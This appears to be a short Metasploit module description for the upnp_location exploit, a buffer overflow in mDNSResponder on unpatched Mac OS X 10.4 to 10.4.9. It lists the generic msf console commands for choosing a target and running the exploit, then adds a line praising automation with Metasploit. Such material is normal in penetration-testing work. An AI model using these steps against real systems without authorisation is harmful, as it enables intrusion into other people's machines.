This module exploits a buffer overflow that occurs when processing specially crafted requests set to mDNSResponder. All Mac OS X systems between version 10.4 and 10.4.9 (without the 2007-005 patch) are affected.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/osx/mdns/upnp_location
msf exploit(upnp_location) > show targets
...targets...
msf exploit(upnp_location) > set TARGET < target-id >
msf exploit(upnp_location) > show options
...show and set options...
msf exploit(upnp_location) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
